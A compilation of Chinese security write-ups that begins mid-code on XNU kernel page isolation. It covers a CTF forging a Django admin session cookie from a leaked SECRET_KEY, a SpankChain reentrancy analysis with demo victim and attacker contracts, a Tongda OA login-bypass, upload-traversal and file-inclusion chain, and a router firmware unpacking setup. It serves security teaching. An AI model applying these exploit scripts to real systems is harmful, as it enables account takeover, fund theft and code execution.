arm_vm_kernel_el0_map(cur_fixed, pte);
}
__builtin_arm_dmb(DMB_ISH);
__builtin_arm_isb(ISB_SY);
if (!alloc_only) {
set_vbar_el1(ARM_KERNEL_PROTECT_EXCEPTION_START);
__builtin_arm_isb(ISB_SY);
}
}
osfmk/arm/pmap.h
\#define ARM_KERNEL_PROTECT_EXCEPTION_START ((~((ARM_TT_ROOT_SIZE + ARM_TT_ROOT_INDEX_MASK) / 2ULL)) + 1ULL)
static void
arm_vm_kernel_el0_map(vm_offset_t vaddr, pt_entry_t pte)
{
/* Calculate where vaddr will be in the EL1 kernel page tables. */
vm_offset_t kernel_pmap_vaddr = vaddr - ((ARM_TT_ROOT_INDEX_MASK + ARM_TT_ROOT_SIZE) / 2ULL);
arm_vm_map(cpu_tte, kernel_pmap_vaddr, pte);
}
注意看`arm_vm_map`的第一个参数为`cpu_tte`，也就是内核的页表地址，XNU的KPTI使用了内核页表中的一个表项，没有像linux定义了一个全新的页表。所以不在需要切换`vbar_el1`和`ttbr1_el1`寄存器，性能相比linux会提升很多。
* * * | 社区文章 |
直接进入正题。
## 被泄漏的姜戈
### Description
「听说有离职的同学，把你们的代码和数据库泄漏了出去？好像还在什么 hub 还是 lab 来着建了一个叫 openlug……」
「没关系，反正 admin 用户的密码长度有 1024 位，我自己都忘了密码，就算老天爷来了，也看不到我们的 flag！」
<http://202.38.93.241:10019/>
### Solution
首先根据提示，从Github下载到了题目的源码：openlug/django-common
理一下源码，发现是用Django写的一个简单的登录应用，而且是用`django-admin`生成的模板代码改的。在`settings.py`里面找到了一些有用的信息。
源码23行记录了Django使用的`SECRET_KEY`，
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production non-secret!
SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
第57行配置了应用所使用的session存储方式是`signed_cookies`
ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# javascript code can get document.cookie, debug
SESSION_COOKIE_HTTPONLY = False
Django有很多种session的存储方式，查阅[文档](https://docs.djangoproject.com/en/2.2/topics/http/sessions/)大概有以下几种
* Using database-backed sessions
* Using cached sessions
* Using file-based sessions
* Using cookie-based sessions
其中cookie-based
sessions是一种客户端session，与flask的那种客户端session一个原理。是将session里的字段通过Django自己设计的sign算法签名编码之后存放在客户端的cookie中，然后每次客户端带着这个cookie访问，服务端再次通过sign算法验证，从而拿到session。
利用django的sign算法编码与解码session的例子如下：
>>> from django.core import signing
>>> value = signing.dumps({"foo": "bar"})
>>> value
'eyJmb28iOiJiYXIifQ:1NMg1b:zGcDE4-TCkaeGzLeW9UQwZesciI'
>>> signing.loads(value)
{'foo': 'bar'}
这里需要注意的是loads和dumps时候其实是要带上一个额外的key参数的，如果不配置就默认是app的SECRET_KEY，但命令行启动的环境是没有配置的，所以我们带上key才可以进行解码。
然后我利用上面django提供的api进行session解码，发现解不了。题目中给的SECRET_KEY应该是没问题的，看API文档发现还有个salt参数，默认值是`"django.core.signing"`。猜想可能是这个参数错了。
> dumps(obj, key=None, salt='django.core.signing', compress=False)[source]¶
> Returns URL-safe, sha1 signed base64 compressed JSON string. Serialized
> object is signed using TimestampSigner.
>
> loads(string, key=None, salt='django.core.signing', max_age=None)[source]¶
> Reverse of dumps(), raises BadSignature if signature fails. Checks max_age
> (in seconds) if given.
只能翻源码找这个salt到底是什么。这里应该很容易发现dumps和loads的参数是一样的，所以找到了`signed_cookies`的dumps方法和loads方法等效。
在`django/django/contrib/sessions/backends/signed_cookies.py`的SessionStore->load方法
from django.contrib.sessions.backends.base import SessionBase
from django.core import signing
class SessionStore(SessionBase):
def load(self):
"""
Load the data from the key itself instead of fetching from some
external data store. Opposite of _get_session_key(), raise BadSignature
if signature fails.
"""
try:
return signing.loads(
self.session_key,
serializer=self.serializer,
# This doesn't handle non-default expiry dates, see #19201
max_age=self.get_session_cookie_age(),
salt='django.contrib.sessions.backends.signed_cookies',
)
except Exception:
# BadSignature, ValueError, or unpickling exceptions. If any of
# these happen, reset the session.
self.create()
return {}
...
发现session的载入方法就是封装了一层`signing.loads`，然后指定了特定的`salt`为`"django.contrib.sessions.backends.signed_cookies"`。利用这个发现，我们可以decode题目中给出的session-cookie了。
目前为止，我们有：
* SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
* session_cookie: .eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ
调用decode api解码得到如下结果：
>>>signing.loads(session_cookie,key="d7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39",salt="django.contrib.sessions.backends.signed_cookies")
{'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}
可以看到有三个字段
* _auth_user_id
* _auth_user_backend
* _auth_user_hash
这时候我尝试只修改`_auth_user_id`字段为`1`，然后encode之后，登录失败了。猜想可能后面的`_auth_user_hash`字段也要正确才能通过验证。于是继续翻源码，
在django/django/contrib/auth/ **init**.py我们发现了登录验证函数：
import inspect
import re
from django.apps import apps as django_apps
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured, PermissionDenied
from django.middleware.csrf import rotate_token
from django.utils.crypto import constant_time_compare
from django.utils.module_loading import import_string
from django.utils.translation import LANGUAGE_SESSION_KEY
from .signals import user_logged_in, user_logged_out, user_login_failed
SESSION_KEY = '_auth_user_id'
BACKEND_SESSION_KEY = '_auth_user_backend'
HASH_SESSION_KEY = '_auth_user_hash'
REDIRECT_FIELD_NAME = 'next'
...
def login(request, user, backend=None):
"""
Persist a user id and a backend in the request. This way a user doesn't
have to reauthenticate on every request. Note that data set during
the anonymous session is retained when the user logs in.
"""
session_auth_hash = ''
if user is None:
user = request.user
if hasattr(user, 'get_session_auth_hash'):
session_auth_hash = user.get_session_auth_hash()
if SESSION_KEY in request.session:
if _get_user_session_key(request) != user.pk or (
session_auth_hash and
not constant_time_compare(request.session.get(HASH_SESSION_KEY, ''), session_auth_hash)):
# To avoid reusing another user's session, create a new, empty
# session if the existing session corresponds to a different
# authenticated user.
request.session.flush()
else:
request.session.cycle_key()
try:
backend = backend or user.backend
except AttributeError:
backends = _get_backends(return_tuples=True)
if len(backends) == 1:
_, backend = backends[0]
else:
raise ValueError(
'You have multiple authentication backends configured and '
'therefore must provide the `backend` argument or set the '
'`backend` attribute on the user.'
)
else:
if not isinstance(backend, str):
raise TypeError('backend must be a dotted import path string (got %r).' % backend)
request.session[SESSION_KEY] = user._meta.pk.value_to_string(user)
request.session[BACKEND_SESSION_KEY] = backend
request.session[HASH_SESSION_KEY] = session_auth_hash
if hasattr(request, 'user'):
request.user = user
rotate_token(request)
user_logged_in.send(sender=user.__class__, request=request, user=user)
...
可以看到调用了`user.get_session_auth_hash()`获得`session_auth_hash`，并且之后赋值给了`request.session[HASH_SESSION_KEY]
= session_auth_hash`，而`HASH_SESSION_KEY`就是字符串
`"_auth_user_hash"`，所以我们跟进`user.get_session_auth_hash()`
在django/django/contrib/auth/base_user.py:
...
def get_session_auth_hash(self):
"""
Return an HMAC of the password field.
"""
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
return salted_hmac(key_salt, self.password).hexdigest()
...
可以发现就是`key_salt`和`self.password`传入`salted_hmac`进行hash。但这里用到了`self.password`，也就是说想计算这个hash值还需要知道密码才行。但我们计算这个hash的目的就是为了伪造session，如果密码都知道了那还伪造个毛？直接登录不就可以了？这里感觉有点奇怪，不应该用密码才对。我们看看这个`self.password`是怎么来的：
在django/django/contrib/auth/base_user.py:
class AbstractBaseUser(models.Model):
...
def set_password(self, raw_password):
self.password = make_password(raw_password)
self._password = raw_password
我们发现`self.password`其实并不是raw_password，raw_password其实是存在了`self._password`变量里面，真是具有迷惑性的名字。我们跟进`make_password`函数：
在django/django/contrib/auth/handlers.py:
def make_password(password, salt=None, hasher='default'):
"""
Turn a plain-text password into a hash for database storage
Same as encode() but generate a new random salt. If password is None then
return a concatenation of UNUSABLE_PASSWORD_PREFIX and a random string,
which disallows logins. Additional random string reduces chances of gaining
access to staff or superuser accounts. See ticket #20079 for more info.
"""
if password is None:
return UNUSABLE_PASSWORD_PREFIX + get_random_string(UNUSABLE_PASSWORD_SUFFIX_LENGTH)
hasher = get_hasher(hasher)
salt = salt or hasher.salt()
return hasher.encode(password, salt)
发现`make_password`函数原始的作用是`Turn a plain-text password into a hash for database
storage`，也就是说这个函数是计算原始明文密码的hash的，这个hash是存在数据库里面的，也就是通常大家在脱库时候脱出来的密码md5类似。
所以这里就很明了了。整个`_auth_user_hash`字段的计算就是
`raw_password` > `make_password(raw_password)` > `salted_hmac(key_salt,
make_password(raw_password)).hexdigest()`
而这里的key_salt在django/django/contrib/auth/base_user.py直接给出了，`make_password(raw_password)`的值也存放在数据库里面，也是知道的，这样就可以计算出`_auth_user_hash`的值，从而伪造session了。
至此，翻源码到此为止了，整个session_cookie的生成以及session里面的各个字段的生成原理也搞明白了。
这里可以看出来是有两重的保护的。
1. Django这个框架的`SECRET_KEY`保证了session_cookie没法被恶意篡改
2. django-admin这个框架的`_auth_user_hash`保证攻击者还要拿到密码的哈希值才能进行伪造
本题就是同时泄露了`SECRET_KEY`和密码哈希，所以才能进行伪造。
下面是简单的验证代码：
from django.core import signing
from django.utils.crypto import salted_hmac
SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
guest_hash = 'pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM='
admin_hash = 'pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE='
guest_session_cookie = '.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ'
signed_cookie_slat = 'django.contrib.sessions.backends.signed_cookies'
# load guest session_cookie
guest_session_cookie_dict = signing.loads(guest_session_cookie,key=SECRET_KEY,salt=signed_cookie_slat)
# {'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
# validate "_auth_user_hash"
assert salted_hmac(key_salt, guest_hash, secret=SECRET_KEY).hexdigest() == guest_cookie_dict['_auth_user_hash']
# no message is good message
# fake session cookie
fake_admin_session_cookie_dict = {'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}
fake_admin_session_cookie_dict['_auth_user_hash'] = salted_hmac(key_salt, admin_hash, secret=SECRET_KEY).hexdigest()
# encode
fake_admin_session_cookie = signing.dumps(fake_admin_session_cookie_dict,key=SECRET_KEY,salt=signed_cookie_slat)
print(fake_admin_session_cookie)
完。 | 社区文章 |
## 前言
在10月8日，区块链项目方SpankChain在medium上发表了一篇文章，
并表明其受到了攻击，导致损失了160多个ETH和一些Token，这次攻击事件，相对来说损失金额是较小的，约4万美元，不过值得一提的是：这次攻击事件的起因与2016年闹得沸沸扬扬的TheDAO事件如出一辙！一共被盗走300多万ETH，更为严重的是还间接导致了以太坊硬分叉...
自那次事件起，以太坊的智能合约开发者大部分都认识到了重入漏洞这类严重问题，而且自那以后也很少有重入漏洞导致资产被窃取的事件，然而相隔两年，悲剧在SpankChain上重演。
## 什么是重入漏洞？
了解重入漏洞是理解这次攻击事件必要的知识储备，所以接下来我们会将该类漏洞进行一个详细解释，让读者深刻理解，已经了解的大佬可直接略过。
在以太坊智能合约中，合约与合约之间是可以互相调用的，在gas足够的情况下，合约与合约之间甚至可以互相循环调用直至达到gas上限，这本身是合理的，但是若循环中会产生敏感操作例如转账，则有可能会导致产生很严重的问题。
还是挺抽象对不对，我们直接来用代码进行解释，引用大佬的一句话。
> **「Talk is cheap. Show me the code」**
**漏洞代码片段：**
function withdraw(){
require(msg.sender.call.value(balances[msg.sender])());
balances[msg.sender]=0;
}
以上是最简化版的withdraw函数，此函数多数在钱包合约、去中心化交易所等合约中实现，目的是为了让用户能进行“提款”，这里的提款是指将智能合约体系内的代币换成通用的以太币。
**漏洞分析：**
前面提到过，合约与合约之间是可以互相循环调用的，只要循环所需的gas不超过gas上限即可，使用call来进行转账可以使用更多的gas，这是以太坊的机制。
但是如上代码片段中犯了一个致命的问题：没有在使用call转账之前将用户的代币余额归零，在循环的过程中，攻击者的账户一直是处于有余额的状态。
**这会导致什么问题呢？**
在前面的章节中我们提到过，在给智能合约转账的时候会触发智能合约的fallback函数，若收款的智能合约在fallback函数中再次调用对方的withdraw函数的话，那将会产生一个循环调用。
[
如图，漏洞合约会不断向攻击者合约转账，直至循环结束(有限循环，以太坊的gas上限不允许出现无限循环）后才将用户代币余额归零。
用DEMO调试复现：
contract Bank{
mapping (address => uint256) public balances;
function wallet() constant returns(uint256 result){
return this.balance;
}
function recharge() payable{
balances[msg.sender]+=msg.value;
}
function withdraw(){
require(msg.sender.call.value(balances[msg.sender])());
balances[msg.sender]=0;
}
}
contract Attacker{
address public bankAddr;
uint attackCount = 0;
constructor(address _bank){
bankAddr = _bank;
}
function attack() payable{
attackCount = 0;
Bank bank = Bank(bankAddr);
bank.recharge.value(msg.value)();
bank.withdraw();
}
function () payable{
if(msg.sender==bankAddr&&attackCount<5){
attackCount+=1;
Bank bank = Bank(bankAddr);
bank.withdraw();
}
}
function wallet() constant returns(uint256 result){
return this.balance;
}
}
本文提供了一份复现DEMO，将上面代码复制至remix IDE中即可对重入漏洞复现并有一个充分的了解。
第一步，使用remix账户列表中的第一个账户扮演受害者来部署漏洞合约以及在漏洞合约中存入一些以太币。
[
如图，笔者在Bank合约也就是漏洞合约中充值了500wei个以太币。
第二步，使用remix账户列表中的第2个账户来扮演攻击者部署一份攻击者合约。
部署攻击者合约需要填入Bank合约的地址，按如下按钮即可复制地址，然后点击Deploy按钮来部署：
图片.png第三步，部署完之后，在value中填入要向Bank合约充值的数量，然后点击attack函数， **即可窃取相当于充值数额5倍的以太币**
，这是由于为了防止超出gas上限，攻击者合约的fallback函数中限制了循环调用次数为5次。
[
这里我们充值了10wei的以太币用于攻击Bank合约，执行attack函数后我们在看看Attacker合约的余额，以此推断是否利用成功。
[
查看wallet，可以看到合约的钱包余额为60，正好多出了充值数的5倍。
## SpankChain重入漏洞分析
有了上面的基础知识接下来就好理解多了，我们先进行一个总结：重入漏洞产生的原因是未在进行转账操作之前进行状态变更操作而在之后进行状态变更操作，这是最根本的原因，换句话说，在进行一个类似于"提现"的操作中，转账只能为最后一个要进行的步骤。
接下来我们要列出几个重要的线索：
SpankChain支付通道合约:
<https://etherscan.io/address/0xf91546835f756da0c10cfa0cda95b15577b84aa7#code>
攻击者地址:
<https://etherscan.io/address/0xcf267ea3f1ebae3c29fea0a3253f94f3122c2199>
攻击者恶意合约地址:
<https://etherscan.io/address/0xc5918a927c4fb83fe99e30d6f66707f4b396900e>
攻击者恶意合约发起的攻击交易:
<https://bloxy.info/zh/tx/0x21e9d20b57f6ae60dac23466c8395d47f42dc24628e5a31f224567a2b4effa88#>
有上面的线索就很好分析了，我们先来看发起攻击的那笔交易：图片.png
可以看到攻击者先转了5个ETH到他自己部署的恶意合约，然后再通过恶意合约将5ETH转入SpankChain的支付通道合约，最后支付通道合约转出了32次5个ETH到其恶意合约，恶意合约再将总金额32*5=160
ETH转到了攻击者账户中。
我们再来看看攻击者具体的操作：
[
可以看到攻击者先调用了支付通道合约的createChannel函数并转入了5个ETH，然后循环调用了支付通道合约的LCOpenTimeou函数，并一直获取ETH，每调用一次获取5
ETH，一共调用了32次。
我们再来看看这两个函数的具体代码，先来看createChannel函数：
[
为方便读者理解，我们将该函数的每一行都进行了注释，简单来说该函数是用于创建一个“安全支付通道”，其原理是先将要转的资金存到支付通道合约中，在规定的时间内收款方才可以收款，超出规定时间发起方可以将转账撤回，支付通道合约相当于一个中转担保的角色。
再来看看LCOpenTimeou函数：
[
该函数相当于提款函数，不过在这个支付通道内的意义为转账超时撤回，就是说通道已经超出其开放时间了，发起方有权将转账撤回，具体漏洞点看红框中的代码以及注释，简单来说就是在发起转账之后才进行状态变更操作，从而引发了重入漏洞。
尽管是在进行转账之后更新的状态，但是上面的代码要形成重入也又一定难度，看第一个红框中的代码，因为该函数里进行ETH转账不是使用的call.value，而是使用的transfer，使用transfer只能消耗2300
GAS，无法构成重入，这也是SpankChain与TheDAO不同的点。
再看第二个红框，其中调用了token的transfer函数，而token是攻击者可控的，调用token合约的transfer函数不会有2300
GAS限制！于是攻击者可以在自己部署的恶意token合约的transfer函数中调用支付通道合约的LCOpenTimeou函数，形成重入循环...
## 解决方案
最根本的解决方案还是在转账之前就把所有应该变更的状态提前更新，而不是在转账之后再进行更新，希望这次事件能让TheDAO惨案不再重演。 | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
日期：2021年3月3日**
这是一个由有条件的任意用户登录+低权限文件上传+低权限目录穿越+低权限文件包含组成。可能是盯着国内OA的人太多了，这个漏洞在2020年9月28号的11.8版本中被更新修复，比较可惜的是，一次更新修复了全部的漏洞逻辑，不禁令人惊叹。
今天就一起来看看整个漏洞的逻辑~
# 有条件的任意用户登录
其实如果关注过通达OA的朋友，应该都会知道通达OA是一个特别庞杂的OA系统，整个系统涉及到2万多个PHP文件，其中除了能访问到的Web逻辑以外，OA还内置了特别多的其他功能，可能是用于定制版的OA，也可能压根就是逻辑太多就有很多忘记了。这里的这个漏洞就特别的朴素。
mobile\auth_mobi.php
这里可以注意到左边传入的uid会直接从数据库查询，然后查询出来的session id会被直接赋值给当前用户。
也就是说，如果当前站点有正在登录的用户，我们通过遍历uid就可以登录所有当前在线的账号。（唯一的问题是，通达OA有自动掉线机制，不过OA系统有在线用户都很正常）
这里的修复方案也很奇怪，可以注意看上图中右边就是11.8的代码，这段代码直接就被删除了...
# 低权限文件上传+低权限目录穿越
在通达OA中，其实涉及到上传文件的地方并不少，而且后台本身就有上传文件的功能，但是通达OA在这方面做的比较好，它设计了两个限制给文件上传。
首先我们关注上传文件的逻辑，主要函数为`td_copy`和`td_move_uploaded_file`这两个，这里我们先关注`td_move_uploaded_file`
function td_move_uploaded_file($filename, $destination)
{
if (!is_uploadable($destination, true)) {
Message(_("禁止"), _("禁止创建此类型文件"));
Button_Back();
exit();
}
return move_uploaded_file($filename, $destination);
}
这里我们直接跟进`is_uploadable`函数
function is_uploadable($FILE_NAME, $checkpath, $func_name)
{
$EXT_NAME = "";
$POS = strrpos($FILE_NAME, ".");
if ($POS === false) {
$EXT_NAME = $FILE_NAME;
}
else {
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
$EXT_NAME = filename_valid($EXT_NAME);
if ((td_trim($EXT_NAME) == "") || (td_trim(strtolower(substr($EXT_NAME, 0, 3))) == "php")) {
return false;
}
}
if ($checkpath && !td_path_valid($FILE_NAME, $func_name)) {
return false;
}
...
可以关注到的是：
1、不能没有`.`
2、不能`.`之后为空
3、`.`之后3个字符不能是PHP
第一反应是可以用phtml或者pht等绕过，但可惜通达内置的nginx在这方面配置的很好。
location ~ \.php$ {
fastcgi_pass OfficeFPM;
fastcgi_index index.php;
include fastcgi.conf;
add_header X-Frame-Options SAMEORIGIN;
}
首先避免了奇奇怪怪的文件后缀，只有php才解析执行。
其次通达还配置了专门的附件目录
location /attachment {
deny all;
}
一般来说，除非找到绕过的办法，否则所有的文件都会被上传到这个目录下，那么无论我们是否能绕过后缀限制，我们都没办法解析执行php文件。
所以这里我们需要找到一个配合目录穿越的文件上传点。
/general/reportshop/utils/upload.php line 116
else {
$uploaddir = MYOA_ATTACH_PATH . "reportshop/attachment/";
if (!is_dir(MYOA_ATTACH_PATH . "reportshop/attachment")) {
if (!is_dir(MYOA_ATTACH_PATH . "reportshop")) {
mkdir(MYOA_ATTACH_PATH . "reportshop");
}
mkdir(MYOA_ATTACH_PATH . "reportshop/attachment");
}
$s_code = mb_detect_encoding($filename, array("UTF-8"), true);
if ($s_code == "UTF-8") {
$filename = iconv("UTF-8", "GBK//IGNORE", $filename);
}
if (isset($rid)) {
if (!preg_match("/^\{([0-9A-Z]|-){36}\}$/", $rid) || preg_match("/^\{([0-9A-Z]|-){36}\}$/", $cid)) {
if (isset($json)) {
echo "{";
echo "new_name:'',\n";
echo "error: 'true',\n";
echo "msg: '文件不符合要求'\n";
echo "}";
}
else {
echo "文件不符合要求！";
}
exit();
}
if (!check_filename($filename) || !check_filetype($filename)) {
if (isset($json)) {
echo "{";
echo "new_name:'',\n";
echo "error: 'true',\n";
echo "msg: '文件不符合要求'\n";
echo "}";
}
else {
echo "文件不符合要求！";
}
exit();
}
if (file_exists($uploaddir . $filename)) {
$p = strpos($filename, "_");
$s = substr($filename, $p + 1, strlen($filename) - $p - 1);
$s_prefix = str_replace("-", "", str_replace("}", "", str_replace("{", "", $rid . $cid)));
if ($filename != "{" . $s_prefix . "}_" . $s) {
td_copy($uploaddir . $filename, "$uploaddir{" . $s_prefix . "}_" . $s);
}
}
}
else if (!empty($_FILES)) {
$s_n = $_FILES[$fileid]["name"];
if (!check_filename($s_n) || !check_filetype($s_n)) {
if (isset($json)) {
echo "{";
echo "new_name:'',\n";
echo "error: 'true',\n";
echo "msg: '文件不符合要求'\n";
echo "}";
}
else {
echo "文件不符合要求！";
}
exit();
}
if (($s_n[0] != "{") && isset($newid)) {
$s_n = "{" . $newid . "}_" . $s_n;
}
if (td_move_uploaded_file($_FILES[$fileid]["tmp_name"], $uploaddir . $s_n)) {
}
else {
$b_res = "false";
}
首先176行过滤非常简单，后缀不是对应的几个就行了，这里其实过滤没啥用，有很多过滤方式，php5啊，php.，php::$DATA都可以绕过
function check_filetype($s_name)
{
$p = strrpos($s_name, ".");
if ($p !== false) {
$postfix = strtolower(substr($s_name, $p + 1));
if (in_array($postfix, array("php", "exe", "js"))) {
return false;
}
}
return true;
}
绕过的重心主要在这几行
if (($s_n[0] != "{") && isset($newid)) {
$s_n = "{" . $newid . "}_" . $s_n;
}
if (td_move_uploaded_file($_FILES[$fileid]["tmp_name"], $uploaddir . $s_n)) {
}
else {
$b_res = "false";
}
这里可以关注到newid被直接拼接进了路径中，且没有设计专门的过滤，导致我们可以穿越任意目录写，当newid为`../../../../`目录相应就为
D:/MYOA/webroot/attachment/reportshop/attachment/{321/../../../../a}_.txt
这里的修复方式也很直接，newid被添加了额外的过滤。
截至目前为止，我们可以将一个非php文件传到任意为止了。在这里曾经困扰了我很久，因为这里的文件上传实际上受到了3个以上的限制，且所有的限制都集中在php后缀，但这里明显是个不太现实的目标。所以与其继续去研究怎么找一个蹩脚的绕过方式，不如去找一个可以文件包含的地方。这里就用到了之前公开的任意文件包含漏洞，之前的漏洞修复方式主要是限制了`..`和权限。
# 任意文件包含
这里我们先看看之前的任意文件包含漏洞。
/ispirit/interface/gateway.php
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
if (strpos($url, "..") !== false) {
echo _("ERROR URL");
exit();
}
if ((strpos($url, "general/") === 0) || (strpos($url, "ispirit/") === 0) || (strpos($url, "module/") === 0)) {
include_once $url;
}
}
可以看到这里限制了general、ispirit、module开头，且添加了专门的过滤，过滤了`..`等目录穿越符号。
这里简单了，我们直接上传txt文件到general目录下，然后包含即可。
这里也可以看到，在11.8版本中，这个文件包含被直接改成指向文件的了。
# 总结
这个组合漏洞最早是我在2020年年初挖的，一直存在手里也没用上，没想到突然就更新了，修复方式还特别像是翻着漏洞文档一行一行修复的，就感觉很无奈。
其实之前通达OA的安全性一直受人诟病，在11.6开始，逐渐加入全局过滤，然后nginx的配置也经过很多次更新，比较关键的任意用户登录又一再修复，其实后台的漏洞都无关紧要了，这也能说明通达的安全人员也是下了一番苦工的~
* * * | 社区文章 |
# 路由器固件下的小试牛刀
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：苏宇@涂鸦智能安全实验室
> 本篇文章以路由器固件相关漏洞来演示，从0到1分享我的经验。
### 本地虚拟机搭建ubuntu 16.04
ubuntu iso下载地址：<http://mirrors.aliyun.com/ubuntu-releases/>
安装完，给root用户新增个密码
sudo passwd root
切换到root用户
su root
修改阿里云镜像：
vi /etc/apt/sources.list
> 打开文件不要做任何操作，直接输入 ggdG 清空当前文件内容，注意 G 是大写
>
>
> ggdG
>
然后粘贴以下内容
# deb cdrom:[Ubuntu 16.04 LTS _Xenial Xerus_ - Release amd64 (20160420.1)]/ xenial main restricted
deb-src http://archive.ubuntu.com/ubuntu xenial main restricted #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial universe
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates universe
deb http://mirrors.aliyun.com/ubuntu/ xenial multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse #Added by software-properties
deb http://archive.canonical.com/ubuntu xenial partner
deb-src http://archive.canonical.com/ubuntu xenial partner
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial-security universe
deb http://mirrors.aliyun.com/ubuntu/ xenial-security multiverse
****更新镜像源(注意不同版本的镜像源是不一样的)****
* * *
sudo apt-get update
##### 安装python3.7
因为ubuntu 16.04带的python是3.5的，而 Binwalk 要求3.6以上。
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt-get update
sudo apt-get install python3.7
##### 修改apt指定的python3
sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.5 1
sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 2
update-alternatives命令可以修改系统默认命令的软链指向，通过以下命令，可以切换Python3的指向
sudo update-alternatives --config python3
查看一下是否安装成功：
###### 检测版本：
python3 -V
### D-Link固件下载
D-Link路由器固件下载地址：ftp://ftp2.dlink.com/PRODUCTS/
### 提取固件方式一：Ubuntu下binwalk
Mac上binwalk有问题，在尝试换成centos后也出现同样的问题，无法解包。最后我推荐用Ubuntu系统（Ubuntu 16.04）
> 搞IOT建议到ubuntu上搞，也可以到专用的虚拟机如attifyos。
##### 安装binwalk（也可翻到后文直接使用自动化工具《自动安装binwalk》）
git clone https://github.com/ReFirmLabs/binwalk.git
cd binwalk
sudo ./deps.sh
sudo python3 setup.py install
> 安装unzip
apt install unzip
> 解压缩固件
unzip DLink_DIR645_A1_FW102B08.zip
> 解包固件
root@redidc784587341578:~# binwalk -Me DIR645A1_FW102B08.bin
Scan Time: 2021-06-22 11:41:29
Target File: /root/DIR645A1_FW102B08.bin
MD5 Checksum: 79e6736579d0afe2660e0bd8538cdc15
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2"
112 0x70 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4229096 bytes
1441904 0x160070 PackImg section delimiter tag, little endian size: 15751680 bytes; big endian size: 5959680 bytes
1441936 0x160090 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5958022 bytes, 1955 inodes, blocksize: 65536 bytes, created: 2011-11-23 03:10:33
Scan Time: 2021-06-22 11:41:31
Target File: /root/_DIR645A1_FW102B08.bin.extracted/70
MD5 Checksum: ce85fce6328c01f61ec7ac900296847b
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 3330080 0x32D020 Linux kernel version 2.6.33
3390400 0x33BBC0 CRC32 polynomial table, little endian
3795004 0x39E83C Neighborly text, "NeighborSolicitstunnel6 init(): can't add protocol"
3795024 0x39E850 Neighborly text, "NeighborAdvertisementst add protocol"
3799767 0x39FAD7 Neighborly text, "neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)"
如上图，可以看到成功解包
#### 提取固件方式二：手动提取
##### 检索文件系统magic签名
root@redidc784587341578:~# strings DIR645A1_FW102B08.bin | grep "hsqs"
hsqs
##### 确定文件系统
